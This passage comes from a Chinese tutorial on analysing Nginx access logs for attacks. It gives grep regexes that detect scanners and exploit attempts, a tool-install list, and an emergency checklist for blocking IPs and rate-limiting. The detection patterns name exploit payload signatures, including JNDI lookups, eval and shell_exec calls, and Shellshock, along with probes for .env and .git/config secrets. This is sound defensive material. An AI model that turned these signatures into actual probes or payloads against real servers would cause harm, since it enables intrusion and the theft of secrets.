SCANNER_REGEX="(\.env($|\.)|wp-(admin|login|content|includes)|xmlrpc\.php|phpinfo|\.git/(config|HEAD|objects)|phpmyadmin|adminer|/admin/|/manager/html|/console/|/actuator|/swagger|/api-docs|\.bak$|\.sql($|\.gz)|\.tar\.gz$|\.zip$)"

grep -iE "$SCANNER_REGEX" /var/log/nginx/access.log

# ===================== 漏洞利用检测正则 =====================

EXPLOIT_REGEX="(\$\{j|%24%7Bj|%24%7B%24%7B)(n|%6e)di|classLoader|invokefunction|call_user_func|eval\(|system\(|exec\(|passthru\(|shell_exec|phpinfo\(\)|base64_decode\(|\(\)\s*\{\s*:;\s*\}"

grep -iE "$EXPLOIT_REGEX" /var/log/nginx/access.log

# ===================== 组合使用——一次性检测所有恶意请求 =====================

ALL_MALICIOUS="($SQL_REGEX|$XSS_REGEX|$TRAVERSAL_REGEX|$SCANNER_REGEX|$EXPLOIT_REGEX)"

# 统计恶意请求来源 IP
grep -iE "$ALL_MALICIOUS" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

D. 常用工具安装速查

# ===================== Ubuntu 24.04 一键安装所有分析工具 =====================

# 基础工具(系统自带,确认安装)
sudo apt install -y gawk coreutils grep

# GoAccess 日志分析工具
sudo apt install -y goaccess

# jq JSON 处理工具
sudo apt install -y jq

# GeoIP 地理位置查询
sudo apt install -y geoip-bin geoip-database mmdb-bin

# fail2ban 自动封禁
sudo apt install -y fail2ban

# nftables 防火墙(Ubuntu 24.04 默认已安装)
sudo apt install -y nftables

# Promtail 日志收集(需要手动下载)
cd /tmp && curl -LO https://github.com/grafana/loki/releases/download/v3.4.2/promtail-linux-amd64.zip
unzip promtail-linux-amd64.zip && sudo mv promtail-linux-amd64 /usr/local/bin/promtail

# pv(管道流量查看,分析大文件时看进度用)
sudo apt install -y pv

# 使用示例:分析大日志文件时显示进度
pv /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

E. 一句话应急处理

遇到攻击时的应急速查表,复制粘贴即可:


# 1. 快速查看当前谁在攻击你
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10

# 2. 封禁单个 IP(iptables,兼容性好)
sudo iptables -I INPUT -s 恶意IP -j DROP

# 3. 封禁 IP 段(/24 子网)
sudo iptables -I INPUT -s 恶意IP段/24 -j DROP

# 4. 封禁单个 IP(nftables,Ubuntu 24.04 推荐)
sudo nft add rule inet filter input ip saddr 恶意IP drop

# 5. 查看当前连接数
ss -s | head -3

# 6. 查看某个 IP 的连接数
ss -tn | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -10

# 7. 确认封禁是否生效
ss -tn | grep 恶意IP | wc -l

# 8. Nginx 紧急限流(修改配置后 reload)
# 在 http 块加:limit_req_zone $binary_remote_addr zone=emergency:10m rate=5r/s;
# 在 location 加:limit_req zone=emergency burst=10 nodelay;
sudo nginx -t && sudo nginx -s reload

# 9. 查看 Nginx 错误日志(看有没有后端被打挂)
tail -50 /var/log/nginx/error.log

# 10. 查看系统负载
uptime && free -h && df -h /var/log



上一篇:Meta提出HyperAgents:AI学会自我优化“变强的方法”
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-25 14:02 , Processed in 1.055524 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表